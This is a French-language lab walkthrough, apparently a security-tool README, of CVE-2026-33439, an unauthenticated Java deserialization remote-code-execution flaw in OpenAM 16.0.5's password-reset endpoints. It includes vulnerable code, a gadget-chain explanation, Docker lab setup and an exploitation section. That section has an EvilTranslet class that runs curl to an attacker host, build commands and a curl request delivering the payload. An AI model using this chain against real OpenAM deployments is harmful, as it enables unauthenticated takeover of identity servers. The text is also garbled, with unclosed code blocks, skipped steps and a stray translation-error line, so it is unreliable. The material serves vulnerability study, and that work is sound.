Le chemin de code non corrigé pour jato.clientSession (vulnérable) :```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

---

<div id="vulnerability_affected"/>

### ***Versions concernées***

| Produit                        | Vulnérable                                       | Corrigé |
|--------------------------------|--------------------------------------------------|---------|
| OpenIdentityPlatform OpenAM    | ≤ 16.0.5                                         | 16.0.6  |
| ForgeRock AM (downstream)      | Potentiellement concerné selon la lignée de correctifs | -       |

---

<div id="vulnerability_attacksurface"/>

### ***Surface d'attaque***

Tout endpoint JATO ViewBean dont le JSP contient une balise *< jato:form >* est exploitable sans authentification :

| Endpoint                  | Objectif                              |
|---------------------------|---------------------------------------|
| /ui/PWResetUserValidation | Réinitialisation du mot de passe – saisie de l'identité utilisateur |
| /ui/PWResetQuestion       | Réinitialisation du mot de passe – questions de sécurité |

Les endpoints de réinitialisation de mot de passe sont la cible principale : ils sont accessibles publiquement par conception et garantis de rendre des balises *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ La chaîne de gadgets***

<div id="gadgetchain_deserialization101"/>

### ***Désérialisation Java 101***

Quand Java désérialise un objet depuis un flux d'octets, il appelle readObject() sur chaque classe qu'il reconstruit, y compris les objets imbriqués. Si un attaquant contrôle le flux d'octets et injecte un objet dont readObject() déclenche une chaîne d'appels de méthodes aboutissant à l'exécution de code, il dispose d'un RCE par chaîne de gadgets.

Le point clé de CVE-2026-33439 : la chaîne de gadgets ne nécessite aucune bibliothèque externe. Chaque classe de la chaîne est incluse directement dans le WAR OpenAM lui-même : `openam-core-16.0.5.jar, xalan-2.7.3.jar, et click-nodeps-2.3.0.jar`. <u>Cela rend la vulnérabilité exploitable sur tout déploiement OpenAM par défaut.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

C'est le détail critique qui rend l'exploitation possible. La classe `Encoder` dans `jato-shaded-16.0.5.jar` utilise l'encodeur/décodeur base64 URL-safe de Java – pas le base64 standard, et pas un schéma de substitution de caractères personnalisé.

Vérifié en décompilant Encoder.class :```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Le base64 sûr pour les URL utilise '-' au lieu de '+' et '_' au lieu de '/', sans caractère de remplissage '='. Le codage correct est :```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

| Conteneur               | Image                                    | Rôle              |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Cible vulnérable  |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Machine d'attaque |

> Le lab utilise le WAR officiel OpenAM 16.0.5 déployé sur Tomcat 10.1.52 avec Java 21 - l'environnement exact décrit dans l'avis de sécurité GitHub.

---

<div id="lab_setup"/>

### ***Configuration***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Étape 1 - Télécharger le WAR officiel OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

**Étape 3 - Configurer OpenAM depuis le navigateur**

Accédez à "http://localhost:8080/openam", cliquez sur "Create Default Configuration" puis définissez :

| Field                           | Value         |
|---------------------------------|---------------|
| Default User Password (amadmin) | Lab@dm1n2026! |
| Agent Password                  | secret12      |

Attendez environ 2 minutes pour que la configuration soit terminée.

**Étape 4 - Vérifier que la réinitialisation du mot de passe est activée**

Connectez-vous en tant qu'amadmin → Configure → Global Services → Password Reset → activez la bascule → Save Changes.

**Étape 5 - Identifier les points de terminaison JSP exploitables**

Recherchez tous les JSP du WAR qui contiennent des balises *< jato:form >* ; ce sont les points de terminaison où la désérialisation de jato.clientSession est déclenchée :```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

No input content was provided to translate. Please resend the chunk text.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

---

<div id="lab_access"/>

### ***Accès***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 Exploitation***

<div id="exploitation_prerequisites"/>

### ***Prérequis***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Exigence               | Notes                                                                                                                           |
|------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Doit correspondre à la version JVM exécutant OpenAM. Le JRE seul ne suffit pas, javac est requis pour compiler EvilTranslet et PayloadBuilder |
| openam-core-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Column, Column$ColumnComparator, PropertyUtils                                     |
| xalan-2.7.3.jar        | Copié depuis le conteneur OpenAM - contient TemplatesImpl, TransformerFactoryImpl                                               |
| serializer-2.7.3.jar   | Copié depuis le conteneur OpenAM - contient SerializationHandler utilisé par EvilTranslet                                      |
| click-nodeps-2.3.0.jar | Copié depuis le conteneur OpenAM - contient Table (requis par Column$ColumnComparator)                                          |
| click-extras-2.3.0.jar | Copié depuis le conteneur OpenAM - dépendance transitive de click-nodeps                                                        |
| jato-shaded-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Encoder avec decodeHttp64                                                           |
| servlet-api.jar        | Copié depuis Tomcat lib/ - Jakarta Servlet API requise pour la sérialisation de Table                                           |
| Python 3.8+            | Pour le script PoC                                                                                                              |
| requests               | pip install requests                                                                                                            |

---

<div id="exploitation_discovery"/>

### ***Découverte et Reconnaissance***

**Étape 1 - Confirmer qu'OpenAM est en cours d'exécution et identifier la version**```
http://localhost:8080/openam/ccversion/Version

**Étape 3 - Confirmer que jato.clientSession est traité**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

Terminal 2 - Générer et envoyer le payload de callback :```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."